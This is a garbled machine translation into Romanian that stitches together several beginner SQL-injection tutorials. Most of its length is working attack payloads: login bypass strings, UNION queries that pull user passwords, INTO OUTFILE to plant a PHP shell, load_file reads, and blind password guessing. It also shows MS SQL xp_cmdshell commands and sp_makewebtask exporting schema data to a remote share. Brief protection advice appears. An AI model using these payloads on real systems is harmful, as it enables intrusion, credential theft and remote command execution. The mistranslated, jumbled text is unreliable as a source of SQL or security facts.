Instrucțiuni de utilizare a injecției JSQL - un instrument multifuncțional de căutare și de operare SQL injecție în Kali Linux. Injectarea SQL de la și la injectarea SQL pentru începători

Injecția SQL este un atac care utilizează declarații dinamice SQL, depunând anumite părți de instrucțiuni în comentarii sau adăugarea unei afecțiuni care va fi întotdeauna adevărată. Acesta vizează găuri în arhitectura aplicației web și utilizează declarații SQL pentru a efectua un cod SQL rău intenționat:

În acest articol, vom lua în considerare metodele utilizate în injecțiile SQL și modalitățile de a proteja aplicațiile web de la astfel de atacuri.

Cum funcționează injecțiile SQL

Tipurile de atacuri care pot fi făcute utilizând injecții SQL diferă în tipul mecanismelor de baze de date afectate. Atacul vizează declarații SQL dinamice. Operatorul dinamic este un operator care este creat în timpul executării pe baza parametrilor din formularul web sau a șirului de interogare URI.

Luați în considerare o aplicație web simplă cu formularul de intrare. Codul HTML este prezentat mai jos:

  • Forma acceptă adresa de e-mail și apoi trece parola fișier PHP. numit index.php;
  • Sesiunea este stocată în fișierul cookie. Această caracteristică este activată la instalarea steagului REMARTY_ME. Metoda poștală este utilizată pentru a trimite date. Aceasta înseamnă că valorile nu sunt afișate în adresa URL.

Să presupunem că cererea de verificare a ID-ului de utilizator de pe partea serverului este după cum urmează:

  • Interogarea utilizează în mod direct valoarea valorilor de matrice $ _post, fără a-l imbunatati;
  • Parola este criptată utilizând algoritmul MD5.

Vom lua în considerare un atac utilizând SQL Injection Sqllddle. Deschideți adresa URL http://sqlfiddle.com/ în browser. Următoarea fereastră va apărea pe ecran.

Notă: va trebui să scrieți instrucțiuni SQL:

Pasul 1. Introduceți acest cod în panoul din stânga:

Creați tabelul `Utilizatori" (int null Auto_increment, `Email` Varchar (45) Null,` Varchar (45) Null, Cheie primară (`id`)); Introduceți în valori utilizatorilor (e-mail, parolă) (" [E-mail protejat]", MD5 (" ABC "));

Pasul 2. Faceți clic pe " Construiți schema.».
Pasul 3. Introduceți codul de mai jos în panoul din dreapta:

selectați * de la utilizatori;

Pasul 4. Faceți clic pe " Rulați SQL." Veți vedea următorul rezultat:

Să presupunem că utilizatorul furnizează adresa de e-mail [E-mail protejat] și 1234 ca parolă. Solicitarea care trebuie completată în baza de date poate arăta astfel:

Exemplul de deasupra codului SQL al unui exemplu poate fi dirijat prin eliminarea parolei parolei și adăugarea condiției care va fi întotdeauna adevărată. Să presupunem că atacatorul înlocuiește următoarele date în câmpul Adresa de e-mail:

[E-mail protejat]"Sau 1 \u003d 1 limită 1 -"]

și xxx în câmpul de parolă.

Operatorul dinamic generat va arăta astfel:

  • [E-mail protejat] se termină cu un citat, care completează șirul;
  • Sau 1 \u003d 1 Limita 1 este o afecțiune care va fi întotdeauna adevărată, limitează rezultatele returnate ale unei singure intrări.

0; "Și ... este un comentariu de SQL, care exclude o parte a parolei.

Copiați interogarea de mai sus și introduceți-o în caseta de text SQL Fiddlerun SQL, după cum se arată mai jos:

Activitatea hackerului: injectarea SQL în aplicații web

Avem o aplicație web simplă disponibilă la http://www.techpanda.org/, care este special concepută vulnerabilă la atacurile utilizând injecții SQL pentru începători în scopuri demonstrative. Codul codului HTML prezentat mai sus este preluat din pagina de autorizare a acestei aplicații.

Acesta oferă securitate de bază, cum ar fi câmpul de e-mail sane. Aceasta înseamnă că codul de mai sus nu poate fi utilizat pentru a ocoli acest mecanism.

Pentru a obține în jur, puteți utiliza câmpul de parolă. Următoarea diagramă arată pașii care trebuie executați:

Să presupunem că atacatorul oferă următoarele date:

Pasul 1: intră [E-mail protejat] ca o adresă de e-mail;
Pasul 2: Introduceți xxx ') sau 1 \u003d 1 -];

Faceți clic pe butonul "Trimiteți".

Acesta va fi trimis la panoul de administrare. Interogarea generată va arăta astfel:

Diagrama de mai jos arată modul în care a fost generată cererea:

Aici:

  • Cererea presupune că este utilizată criptarea MD5;
  • Se folosește o singură închidere și un suport de închidere;
  • Condiția este adăugată operatorului, care va fi întotdeauna adevărată.

De regulă, atacatorii încearcă să aplice mai multe metode diferite pentru atacul utilizând injecții SQL.

Alte tipuri de atacuri care utilizează injecții SQL

Injecțiile SQL pot provoca daune mult mai mare decât logarea în sistem ocolind mecanismul de autorizare. Unele dintre aceste atacuri pot:

  • Ștergeți datele;
  • Efectuați actualizarea datelor;
  • Efectuați adăugarea de date;
  • Rulați pe serverul de server care va descărca și instala malware;
  • Exportați la serverul de date valoroase la distanță, cum ar fi detaliile card de credit, e-mail și parolele.

Lista de mai sus nu este completă. Pur și simplu oferă o idee despre pericolul reprezintă injecții SQL.

Instrumente de automatizare SQL Injecție

În exemplul de mai sus, am folosit metode de atac manuale. Înainte de a face injecția SQL, trebuie să înțelegeți că există instrumente automate care vă permit să efectuați atacuri mai eficient și mai rapid:

  • Sqlsmack;
  • Sqlping 2;
  • Sqlmap.

Cum de a preveni injectarea SQL

Iată câteva reguli simple care vor permite protejarea împotriva atacurilor utilizând injecții SQL:

Introduceți datele utilizatorului nu ar trebui să fie de încredere. Trebuie întotdeauna să fie asigurată înainte ca datele să fie utilizate în operațiile dinamice SQL.

Proceduri stocate - pot încapsida interogări SQL și procesează toate datele de intrare ca parametri.

Cereri pregătite - interogări sunt create pentru prima dată, iar apoi toate datele de utilizator furnizate sunt procesate ca parametri. Acest lucru nu afectează sintaxa instrucțiunii SQL.

Expresii obisnuite - Poate fi folosit pentru a detecta codul potențial rău intenționat și pentru a le șterge înainte de a executa declarații SQL.

Drepturi de acces la conexiunea bazei de date - la protejați împotriva injecțiilor SQLConturile care sunt utilizate pentru conectarea la baza de date ar trebui să fie furnizate numai drepturile necesare Acces. Acest lucru va ajuta la limitarea acțiunilor pe care operatorii SQL le pot efectua pe server.

Mesaje de eroare - Nu dezvăluie informații confidențiale. Mesaje simple de eroare de utilizator, cum ar fi " Ne pare rău, a apărut o eroare tehnică. Serviciul de asistență este deja notificat. Repetați încercarea mai târziu"Puteți utiliza în loc să afișați interogări SQL care au cauzat o eroare.

Salutări, cititor. În ultima vreme, Îmi place securitatea web și, într-o oarecare măsură, lucrarea este legată de acest lucru. pentru că Am devenit din ce în ce mai mult și mai des să observăm teme pe diverse forumuri, cu o cerere de a arăta cum funcționează totul, am decis să scriu un articol. Articolul va fi proiectat pentru cei care nu au venit peste ceva similar, dar aș vrea să învăț. În rețea există relativ multe articole pe acest subiect, dar pentru începători sunt un pic complex. Voi încerca să descriu totul din limbajul de înțeles și exemple detaliate.

Prefaţă

Pentru a înțelege acest articol, nu veți avea nevoie în special de cunoașterea limbii SQL și cel puțin prezența unei bune răbdare și a unor creiere - pentru memorare.

Cred că o citire a articolului va fi mică, pentru că Avem nevoie de exemple de viață - ca practică este cunoscută, în procesul de memorare, nu există nici o superfluă. Prin urmare, vom scrie scripturi vulnerabile și vom instrui pe ele.

Ce este injecția SQL?
Vorbitor limba simplă - Acesta este un atac asupra unei baze de date care va face unele acțiuni care nu a fost planificată de creatorul scenariului. Un exemplu din viață:

Tatăl, a scris mama în notă, astfel încât ea vă oferă 100 de ruble și puneți-o pe masă. Reciclarea acestuia în limba comic SQL, vom obține:
Ieșiți dintr-un portofel 100 de ruble și dați-le

Deci, așa cum tatăl a scris o notă (scrierea de mână stângaci) și a lăsat-o pe masă, i-am văzut pe fratele ei Vasi - Petru. Petya, fiind un hacker, a terminat acolo "sau Pave" și sa dovedit a fi o astfel de solicitare:
Ieșiți din portofel 100 de ruble și dați-le pe tine sau pe un animal de companie

Mama mea citește nota, a decis că a dat bani ieri și a dat 100 de ruble în animale de companie. Iată un exemplu simplu de injecție SQL din viață :) fără a filtra date (mama abia dezasamblată scrierea de mână), Petya a obținut profit.

Pregătirea
Pentru practică, veți avea nevoie de o arhivă cu scripturile sursei acestui articol. Descărcați-l și despachetați-l pe server. Importați, de asemenea, baza de date și setați datele din fișier. cfg.php.

Căutați injectarea SQL

După cum ați înțeles deja, injecția apare din datele primite care nu sunt filtrate. Cea mai obișnuită eroare nu este filtrarea ID-ului transmis. Ei bine, vorbind deloc pentru a înlocui citatele în toate domeniile. Fie că este vorba de o cerere de obținere / post și chiar cookie!

Numeric parametru primitor
Pentru a practica, avem nevoie de un scenariu index1.php.. Așa cum am spus mai sus, înlocuim citatele din ID-ul de știri.

pentru că Solicitarea noastră nu are filtrare:

$ id \u003d $ _get [id "]; $ Query \u003d "Selectați * din știri unde id \u003d $ id";

Scriptul o va înțelege ca

Selectați * din știri unde id \u003d 1 "

Și să ne dați o greșeală:
AVERTISMENT: mysql_fetch_array () se așteaptă la parametrul 1 pentru a fi resurse, boolean dat în C: \\ Webserv \\ Domains \\ sqlinj \\ index1.php pe linia 16

Dacă eroarea nu a emis - pot exista următoarele motive:

1. Citatele injecții nu sunt aici - citatele sunt filtrate sau merită conversia (int)
2. Activat ieșire de eroare.

Dacă a adus încă o greșeală - Hooray! Am găsit primul tip de injecție SQL - un parametru numeric de intrare.

String Parametru de intrare

Cererile vor fi trimise la index2.php.. ÎN acest fișierCererea are forma:
$ utilizator \u003d $ _get ["utilizator"]; $ Query \u003d "Selectați * din știri unde utilizator \u003d" Utilizator $ "";

Aici facem o sursă de știri de nume de utilizator și din nou - nu filtru.
Din nou, trimiteți o solicitare cu Citate:

A emis o eroare. O.K! Deci, există o vulnerabilitate. Pentru a începe, vom avea destule - vom proceda la practică.

Noțiuni de bază

Un pic de teorie

Probabil că nu puteți aștepta să extrageți ceva din aceasta, cu excepția erorilor. Pentru a începe cu, dorim ca semnul " -- "Este considerat un comentariu în SQL.

ATENŢIE! Înainte și după aceasta, trebuie să existe spații. În adresa URL, acestea sunt transmise ca %20

Tot ceea ce vine după comentariu - va fi aruncat că există o interogare:
Selectați * din Știri unde User \u003d "Alexanderphp" - Habrahebra

Este de succes. Puteți încerca pe scriptul index2.php, trimițând o astfel de solicitare:

Sqlinj / index2.php? Utilizator \u003d alexanderphp "% 20% 20Hebrahar

Aflați parametrul Uniune. În SQL. cuvânt cheie. Uniune Este folosit pentru a combina rezultatele a două interogări SQL într-o singură masă. Adică, pentru a scoate ceva de care avem nevoie de o altă masă.

Eliminați din această favoare

Dacă parametrul "numeric", atunci nu avem nevoie să trimitem citate în cerere și să punem în mod natural un comentariu la sfârșit. Reveniți la script index1.php..

Consultați scriptul SQLJ / index1.php? ID \u003d 1 uniune Selectați 1. Cererea la baza de date este obținută aici:
Selectați * din știri unde ID \u003d 1 uniune Selectați 1
Și ne-a dat o greșeală, pentru că Pentru a lucra cu broderia cererilor, avem nevoie de același număr de câmpuri.

pentru că Nu putem afecta cantitatea lor în prima cerere, atunci trebuie să alegem numărul lor în al doilea că este egal cu primul.

Selectăm numărul de câmpuri

Selecția câmpurilor este foarte simplă, trimite doar astfel de solicitări:
sqlinj / index1.php id \u003d 1 uniune Selectați 1,2
Eroare…
Sqlinj / index1.php id \u003d 1 uniune Selectați 1,2,3
Eroare din nou!
sqlinj / index1.php id \u003d 1 uniune Selectați 1,2,3,4,5
Nu există erori! Astfel încât numărul de coloane este egal cu 5.

A se grupa cu.
Se întâmplă adesea că câmpurile pot fi de 20 sau 40 sau chiar 60. astfel încât să nu trecem prin ei de fiecare dată, folosim A se grupa cu.

Dacă cererea
Sqlinj / index1.php id \u003d 1 grup cu 2
Nu a emis erori, atunci numărul de câmpuri este mai mult 2. Încercăm:

Sqlinj / index1.php id \u003d 1 grup cu 8
OP, vedem o greșeală, atunci numărul de câmpuri este mai mic de 8.

Dacă cu un grup cu 4 nu există nici o eroare, iar când grupul cu 6 este o greșeală, înseamnă că numărul de câmpuri este de 5

Determinarea coloanelor de ieșire
Pentru ca noi, de la prima cerere, nu am fost de ieșire, este suficient să înlocuiți un ID inexistent, de exemplu:

Sqlinj / index1.php id \u003d -1 uniune Selectați 1,2,3,4,5

Această acțiune, am definit ce coloane sunt afișate pe pagină. Acum, pentru a înlocui aceste numere la informațiile dorite, trebuie să continuați interogarea.

Ieșire de date

Să presupunem că știm că există încă o masă utilizatori. în care există câmpuri iD., nume. și trece.
Trebuie să primim informații despre utilizator cu ID \u003d 1

Prin urmare, vom construi o astfel de solicitare:

Sqlinj / index1.php id \u003d -1 uniune Selectați 1,2,3,4,5 de la utilizatorii unde ID \u003d 1
Scriptul continuă să producă

Pentru aceasta, vom înlocui numele câmpurilor, pentru locul numerelor 1 și 3

Sqlinj / index1.php? ID \u003d -1 uniune Selectați Nume, 2, Pass, 4,5 de la utilizatori unde id \u003d 1
A primit ceea ce a fost necesar!

Pentru "parametrul de intrare șir" ca în script index2.php. Trebuie să adăugați citat la început și să comentați semnul la sfârșit. Exemplu:
sqlinj / index2.php? User \u003d -1 "Union Selectați Nume, 2, Pass, 4,5 de la utilizatorii unde ID \u003d 1-% 20

Citirea / scrierea fișierelor

Pentru a citi și a scrie fișiere, utilizatorul bazei de date trebuie să aibă fișierul_priv drept.
Înregistrarea fișierelor.
De fapt, totul este foarte simplu. Pentru a înregistra fișierul, vom folosi funcția Outfile..
sqlinj / index2.php? User \u003d -1 "Union Selectați 1,2,3,4,5 în Outfile" 1.php "-% 20
Excelent, fișierul sa înscris. Așa că putem vărsa mini-shell:
sqlinj / index2.php? User \u003d -1 "Union Selectați 1,"", 3.4.5 în costum" 1.php "-% 20
Citirea fișierelor.
Citirea fișierelor este chiar mai ușoară decât înregistrarea. Doar folosiți funcția Load_file., pentru locul acestui domeniu pe care îl alegem:

Sqlinj / index2.php? User \u003d -1 "Union Selectați 1, load_file (" 1.php "), 3,4,5 -% 20

Astfel, citim fișierul înregistrat anterior.

Modalități de a fi protejate

Este chiar mai ușor să protejați vulnerabilitatea. Filtrați datele. Dacă treceți numere, utilizați
$ id \u003d (int) $ _get [id "];
După cum a sugerat utilizatorul Malroc. Proprietate folosind DOP sau declarații pregătite.

În loc de finalizare

Pe aceasta vreau să-mi termin prima parte despre "injecția SQL pentru începători". În cea de-a doua vom examina exemple mai grele de injecții. Încercați să scrieți scripturi vulnerabile și să efectuați cereri.
Și amintiți-vă, nu aveți încredere în nici un utilizator al site-ului dvs.

SQL Injection O oportunitate suficient de bună pentru Hacker Get
Accesul la server. Și cu un scurt efort el
Totuși, o primește 🙂

Coder în interiorul

În zilele noastre, lucrul cu bazele de date este acceptat.
Aproape toate limbile de programare, este posibil să includeți Basic, C ++, Java, Perl, Php, Assembler și chiar JavaScript! Și aceste programe sunt numite altceva decât sistemele de gestionare a bazelor de date DBMS. Adesea, se aplică bazele de date pentru rezolvarea sarcinilor financiare,
Conturi, organizații de personal, dar și-au găsit cererea pe Internet.

Bazele de date sunt adesea folosite pentru a scrie aplicații web. Utilizarea lor este cea mai potrivită pentru stocarea datelor de înregistrare personalizate, identificatori de sesiuni, organizații de căutare, precum și alte sarcini care necesită mai multă prelucrare
cantitatea de date. Pentru a face apel la baza de date, se utilizează tehnologii de servere: PHP, Perl, ASP, etc. Aici începe cel mai interesant. Când pe server
Toate patch-urile sunt instalate, iar firewall-ul blochează toate porturile, altele decât cele 80 sau când autentificarea este necesară pentru a accesa unele date, hackerul poate folosi injecția SQL. Esența acestui atac este utilizarea unei erori la tehnologiile web și la SQL Junction. Faptul este că multe pagini web pentru procesarea personalizată a datelor formează o specială SQL. Cerere de bază de date. Utilizarea fără griji a acestei tehnici poate duce la rezultate destul de interesante ...

SQL Injection

Pentru a explica atacurile, imaginați-vă că ați fost la site. Pentru a descărca un toulism foarte important și observați cu groază, puteți face acest lucru poate fi înregistrat numai și înregistrare, bineînțeles, nu vreau să dau ultimul Câștigat, dar fără program în vreun fel! Este timpul să vă amintim cum
Accesul la baze de date SQL.. De exemplu, verificarea autentificării și a parolei, pe PHP poate avea următorul formular:

$ rezultat \u003d mysql_db_query ($ db, "selectați * de la $ Tabel în cazul în care utilizator \u003d" $ login "și
Pass \u003d "$ parola");
$ num_rows \u003d mysql_num_rows ($ rezultat);
Mysql_close ($ link);
dacă ($ num_rows! \u003d 0)
{
// Autentificare OK.
}
Altfel.
{
// Eroare de autentificare
}

Am adăugat două comentarii, "Autentificare OK" - în loc de ea ar trebui
Go Cod care va fi îndeplinit dacă parola și autentificarea sunt corecte. O altă "eroare de autentificare" este un loc în care va fi descris codul, executat în cazul incorectării acestora. Dacă completați formularul, cererea va fi similară cu "http://www.server.com?login\u003duser&password\u003d31337", unde numele www.server.com
Serverele la care încercăm să ne conectăm. Am găsit ceea ce căutau și pentru mine să mă întorc la muncă din nou SQL.. Deci, dacă trebuie să specificați o autentificare și o parolă pentru autorizare, atunci formați SQL. Cererea va avea următorul formular:

Selectați * de la utilizatori în cazul în care LOGIN \u003d "Utilizator" și
Parola \u003d "31337"

Aceasta înseamnă aproximativ următoarele: reveniți toate înregistrările din baza de date a utilizatorilor pe care numele de utilizator este "utilizator" și parola "31337". Dacă există o astfel de înregistrare, atunci utilizatorul este înregistrat, dar dacă nu, atunci nu există ... dar în anumite circumstanțe, totul poate fi corectat. Adică situația în care aplicația nu verifică conținutul datelor sau verificărilor transmise complet, pentru prezența SQL. instrucțiuni. ÎN acest exemplu Două câmpuri de conectare și parolă sunt verificate, dar dacă specificați "31337" și e-mail \u003d "ca o parolă [E-mail protejat]"(Nu există citate duble), atunci cererea va funcționa puțin diferită:

Selectați * de la utilizatorii în care LOGIN \u003d "Utilizator" și parola \u003d "31337" și
Email \u003d " [E-mail protejat]"

Și în cazul existenței câmpului de e-mail, această condiție va fi de asemenea verificată. Dacă vă amintiți elementele de bază ale algebrei booleene, vine în minte că, cu excepția operațiunii "și" există și "sau", iar de când utilizarea lor este susținută de SQL, este posibil
Metoda descrisă Adăugați o afecțiune care returnează întotdeauna adevărul. Pentru a implementa acest lucru, trebuie să specificați "Utilizator" sau 1 \u003d 1-- "ca un autentificare, caz în care cererea va lua forma:

Selectați * de la utilizatori în cazul în care LOGIN \u003d "Utilizator" sau 1 \u003d 1-- "și
Parola \u003d "31337"

Pentru a începe, ar trebui să știți că "-" înseamnă sfârșitul cererii și totul după "-"
Nu va fi procesată! Se pare că am făcut o cerere:

Selectați * de la utilizatori în cazul în care Login \u003d "Utilizator" sau 1 \u003d 1

După cum vedeți, am adăugat condiția "1 \u003d 1", înseamnă că criteriul de verificare va fi "dacă numele de utilizator" sau 1 \u003d 1 ", dar după toate, 1 este întotdeauna 1 (numai aritmeticul lui Dani șoaptă poate fi excepție :)). Pentru a verifica suspiciunile noastre
Noi înscriem în bara de adrese "http://www.server.com?login\u003dUser sau 1 \u003d 1 - & parolă \u003d 31337". Acest lucru duce la faptul că nu joacă roluri care autentificăm am indicat și
Mai ales parola! Și suntem în matrice ... Oh, în sistem și putem descărca liniștit ceea ce avem nevoie.

Dar totul este în teorie. În practică, nu știm cum se formează cererea, care date sunt transmise și în ce secvență. Prin urmare, trebuie să specificați "utilizator" sau 1 \u003d 1-- "pentru toate câmpurile. De asemenea, trebuie să verificați formularul de etanșare pentru câmpurile ascunse. În HTML, acestea sunt descrise ca" "Dacă există astfel, salvați pagina și modificați câmpurile câmpurilor câmpurilor. Valorile conținute în ele sunt adesea uitate pentru a verifica prezența instrucțiunilor SQL. Dar astfel încât totul are loc în formă (formularul" Teg ") Pentru parametrul "acțiune" pentru a specifica calea completă la script. Ce procesează această solicitare.

Dar nu este întotdeauna cunoscut ca o cerere formată,
Ultimul exemplu ar putea fi format în următoarele moduri:

Selectați * de la utilizatorii unde (Login \u003d "Utilizator" și parola \u003d "31337")
Selectați * de la utilizatori în cazul în care LOGIN \u003d "Utilizator" și parola \u003d "31337"
Selectați * de la utilizatorii în care Login \u003d utilizator și parolă \u003d 31337

În acest caz, puteți încerca următoarele opțiuni:

"Sau 1 \u003d 1--
"Sau 1 \u003d 1--
Sau 1 \u003d 1-
"Sau" A "\u003d" a
"Sau" A "\u003d" a
") Sau (" a "\u003d" a
Sau "1" \u003d "1"

Totul depinde de scopul scenariului și de programator. Deoarece toată lumea este ciudată să facă totul în felul său, este foarte posibil ca programatierul să nu aleagă cea mai ușoară opțiune. Prin urmare, nu ar trebui să nu
renunțați dacă obțineți un eșec. Necesar
Încercați să încercați cât mai mult posibil opțiunile ...

Detectarea parolei.

Bypassing Autorizație nu este rău, dar foarte des gaura pe care o utilizați se închide și tot ce a fost pierdut pentru dvs. este pierdut.
Acest lucru ar trebui să fie așteptat dacă programatierul nu este un nebun el
De-a lungul timpului, va acoperi toate lacunele. Din astfel de situații puteți scăpa cu ușurință de îngrijirea pre-îngrijită de ea. Soluția potrivită poate ghici parola prin
Analiza rezultatelor autentificării. Pentru a începe cu, încercăm să ghiciți parola, pentru că aceasta introducem locul:

"Sau parola\u003e" a

Dacă răspundem la această autorizație este trecută, atunci parola
Începe să nu pe litera "A", ci pe unele dintre următoarele din listă. Mutarea în continuare și înlocuirea
Plasați "A", următorul "B", "C", "D", "E" ... etc. În timp ce nu răspundem că parola nu este corectă. Fie ca acest proces să se oprească pe simbolul "X", caz în care sunt create două opțiuni pentru dezvoltarea situației, parola este găsită sau parola citită pe acest simbol. Pentru a verifica prima opțiune, scriem un loc de parolă:

"Sau parola \u003d" x

Și dacă parola este acceptată și vă permite, atunci ați ghicit parola! Ei bine, nu, atunci cel de-al doilea caracter ar trebui selectat,
În același mod, de la început. Pentru două verificări de caractere
Aveți nevoie de același lucru. În cele din urmă, veți obține o parolă și veți căuta o autentificare la 🙂
În cazul în care parola găsită și login nu vă potrivește, puteți găsi alții. Pentru a face acest lucru, începeți verificarea de la ultimul simbol al parolei găsite. Deci, dacă parola a fost "xxx" pentru a verifica existența unei parole
"XXY":

"Sau parola \u003d" xxx

pentru a nu fi dor de o singură opțiune!

MS SQL Server.

DOMNIȘOARĂ. SQL Server În general, găsirea dacă filtrarea necesară este ratată. Utilizarea vulnerabilității prin injecție SQL poate fi executată
Comenzi pe un server de la distanță utilizând Exec Master..xp_cmdshell. Dar pentru a utiliza acest design
Trebuie să completați operația selectată. În instrucțiunile SQL sunt separate printr-un punct de virgulă. Prin urmare, conectați-vă la unele IP de Telnet "Y, este necesară o parolă / autentificare pentru a introduce:

"; Exec master..xp_cmdshell" Telnet 192.168.0.1 "-

MS SQL Server are, câteva caracteristici mai interesante, permițându-vă să aflați datele de conectare și parolele stocate în baza de date. Pentru aceasta, concluzia de eroare este redirecționată la un server arbitrar și suport media
Analiza Puteți afla numele tabelului, a câmpurilor și a tipurilor acestora. După care puteți solicita

"Union Selectați Top 1 Autentificare de la utilizatori -

(numele câmpului de conectare care conține autentificare și utilizatori - numele tabelului,
Așezat în procesul de analiză a erorilor).

Răspunsul poate fi după cum urmează:


Eroare de sintaxă Conversia valorii NVARCHAR "(! Lang: admin" to a column of data type int. !}
/Default.asp, linia 27

Acum știm că există un utilizator numit "admin". Acum putem obține parola:

"Union Selectați Top 1 Parola de la utilizatorii în care LOGIN \u003d" admin "-

Rezultat:

Furnizor Microsoft Ole DB pentru drivere ODBC Eroare "80040E07"
Eroare de sintaxă Conversia valorii NVARCHAR "(! Lang: xxx" to a column of data type int. !}
/ Shault.asp, linia 27

Acum știm că există un utilizator "admin" cu o parolă "xxx". Puteți în siguranță
Utilizați și conectați-vă la sistem 😉

Dar există încă multe alte funcții pentru a lucra cu SQL,
Când lucrați cu baza de date, puteți șterge și datele, modificați, introduceți propriile și chiar manipulați fișierele și operează cu registrul.
În general, SQL Server - Taxiuri 🙂

Protecţie

Dar acest lucru poate fi evitat în mod natural. Pentru asta poți
Profitați de filtre
furnizate de producători. Puteți găsi soluțiile dvs., de exemplu, pentru a înlocui toate la fel
Citate duble (dacă pentru SQL. Solicitați utilizarea unică) sau invers. Poate fi permisă numai folosind litere și @ tancuri dacă trebuie să introduceți
Adresa de e-mail. Și în Pearl există un uimitor
Funcție 🙂 Quote () în modul DBD :: DBD, care face cu succes cererea dvs. în siguranță cu privire la SQL.. Multe soluții, aveți nevoie doar de ele
a profita de În caz contrar, de ce apoi toate astea ...

Injecție SQL pentru manechine, hacking ASP + MSSQL

Alexander Antipov.

Acest articol nu conține adevăruri noi, injecția SQL este descrisă pe scară largă și utilizată peste tot. Articolul este destinat mai mult pentru începători, dar probabil și profesioniștii vor putea găsi unul sau două trucuri noi.


Acest articol este destinat să ajute pe începători să facă față problemelor cu care se pot întâlni atunci când se utilizează tehnica de injecție SQL, să o folosească cu succes și să se poată proteja de astfel de atacuri.

Introducere

Când serverul serverului este postat doar 80 de port, iar scanerul de vulnerabilitate nu poate raporta nimic interesant și știți că administratorul de sistem se stabilește întotdeauna cu promptitudine toate paginile către serverul web, ultimul la șansa noastră rămâne Web-hacking. Injectarea SQL este una dintre tipurile de hacking web, care utilizează doar 80 de porturi și poate funcționa, chiar și cu plăți instalate în timp util. Acest atac este mai direcționat către aplicația web (tip ASP, JSP, PHP, CGI, etc.) decât direct la serverul web sau la serviciile din sistemul de operare.

Acest articol nu conține adevăruri noi, injecția SQL este descrisă pe scară largă și utilizată peste tot. Articolul este destinat mai mult pentru începători, dar probabil și profesioniștii vor putea găsi unul sau două trucuri noi. De asemenea, vă recomandăm vizualizat la sfârșitul legăturilor de articole pentru mai multe detalii de la specialiștii în domeniu.

1.1 Ce este injecția SQL?

SQL Injection este o metodă menită să introducă interogarea / comenzile SQL prin intermediul paginilor web. Multe pagini web utilizează parametrii prezentați utilizatorilor web și efectuează solicitarea bazei de date SQL. Luați un caz cu un utilizator de conectare pentru un exemplu atunci când există o pagină web cu numele și parola și o interogare SQL este efectuată în baza de date, pentru a verifica dacă există un utilizator înregistrat cu numele și parola. Folosind injectarea SQL, puteți trimite câmpul de utilizator și / sau parolă inventat, schimbând solicitarea SQL, care ne poate oferi ceva interesant.

2.0 Ce ar trebui să ne uităm

Încercați să găsiți paginile pe care le solicitați date, cum ar fi pagina de căutare, discuția etc. Uneori pagini HTML. Folosind metoda postală pentru a trimite comenzile un altul pagină web. În acest caz, nu veți vedea parametrii din adresa URL. Cu toate acestea, în acest caz, puteți căuta eticheta "Formular" în cod sursa Pagini HTML. Veți găsi ceva de genul acesta:



Toți parametrii fiecăruia

și
Potențial poate fi vulnerabil la introducerea codului SQL.

2.1 Dacă nu ați găsit o pagină care utilizează intrarea?

Căutați pagini cum ar fi paginile web ASP, JSP, CGI sau PHP. Încercați să găsiți pagini care utilizează parametrii, cum ar fi:

3.0 Cum pot verifica ceea ce am găsit este vulnerabil?

Încercați să începeți cu un singur citat. Introduceți următoarea linie:

hi "sau 1 \u003d 1--

în câmpul de utilizator sau parola sau chiar în Parametrul URL. Exemplu:

Conectați-vă: hi "sau 1 \u003d 1--
Pass: hi "sau 1 \u003d 1--
http: //ducek/index.asp? id \u003d hi "sau 1 \u003d 1--

Dacă ați făcut-o cu un câmp ascuns, descărcați doar sursa HTML, salvați-o pe hard disk, schimbați adresa URL și a câmpului ascuns, respectiv. Exemplu:



Dacă aveți noroc pe partea dvs., veți intra în sistem fără nume sau parolă.

3.1 Dar de ce "sau 1 \u003d 1--?

Să luăm în considerare un alt exemplu care explică utilitatea designului "sau 1 \u003d 1-. În plus față de înregistrarea de eludare, puteți lua în considerare, de asemenea, informații suplimentare care de obicei nu sunt disponibile. Luați în considerare pagina ASP care se referă la o altă pagină cu următoarea adresă URL următoare :

http: //duck/index.asp? Categorie \u003d Alimente

În adresa URL, "Categorie" este numele variabilei și "alimente" - valoarea atribuită acestei variabile. Pentru a face acest lucru, pagina ASP poate conține următorul cod:

v_CAT \u003d Cerere ("categorie")
Sqlstr \u003d "Selectați * din produsul în care PCATEGORY \u003d" "" & V_CAT & "" "
Setați Rs \u003d Conn.execute (SQLSTR)

după cum se poate observa, variabila noastră va fi combinată cu V_CAT și, astfel, interogarea SQL ar trebui să devină:

Selectați * de la produsul în care PCATEGORY \u003d "Alimente"

Această interogare ar trebui să returneze un set care conține una sau mai multe rânduri care se potrivesc cu condiția în care este "alimente". Acum schimbați adresa URL după cum urmează:

http: //duck/index.asp? Categoria \u003d alimente "sau 1 \u003d 1--
Selectați * de la produsul în care PCAategory \u003d "Alimente" sau 1 \u003d 1-- '

Această interogare va returna toate rândurile din tabelul de produse, indiferent dacă pategoria este "alimente" sau nu. Double blestemat "-" raportează că MS SQL Server ignoră restul interogării care urmează o singură cotație ("). Uneori puteți înlocui linia dublă pe diezer" # ".

Cu toate acestea, dacă serverul SQL nu este utilizat sau nu puteți ignora restul cererii, încercați:

"sau" A "\u003d" a

Acum, interogarea SQL va fi:

Selectați * din produsul în care PCAategory \u003d "Alimente" sau "A" \u003d "A"

Această solicitare va returna același rezultat.

În funcție de solicitarea SQL reală, probabil că va trebui să încercați unele dintre aceste caracteristici:

"Sau 1 \u003d 1--
"Sau 1 \u003d 1--
sau 1 \u003d 1-
"sau" A "\u003d" a
"sau" A "\u003d" a
") Sau (" a "\u003d" a

4.0 Cum pot executa comenzi de la distanță utilizând injecția SQL?

Abilitatea de a introduce o comandă SQL înseamnă, de obicei, că putem executa solicitări SQL opțional. Instalarea implicită a serverului MS SQL se efectuează cu drepturile sistemului. Putem apela proceduri încorporate, cum ar fi Master..xp_cmdshell, pentru execuția de la distanță a comenzilor arbitrare:

"; Exec master..xp_cmdshell" ping 10.10.1.2 "-

Încercați să utilizați citate dublu ("), dacă (") nu funcționează.

Punctul cu o virgulă va termina interogarea SQL curentă și vă va permite să executați noi echipe SQL. Pentru a verifica dacă comanda a fost finalizată cu succes, puteți verifica pachetele ICMP la 10.10.1.2, există pachete de pe un server vulnerabil:

http: // site /? id \u003d 31610

Dacă nu ați primit nicio solicitare pentru utilitarul Ping de pe server și obțineți un mesaj de eroare care indică eroarea de permisiune, este posibil ca administratorul să limiteze accesul pe web la procedurile salvate.

5.0 Cum să obțineți rezultatele interogării mele SQL?

Puteți utiliza sp_makewebtașk pentru a înregistra solicitarea dvs. în HTML:

"; Exec master..sp_makewebtask" \\\\ 10.10.1.3 \\ Share \\ Output.html "," Selectați * de la information_schema.beables "

IP specificat trebuie să aibă un dosar "Share" cu acces pentru toată lumea.

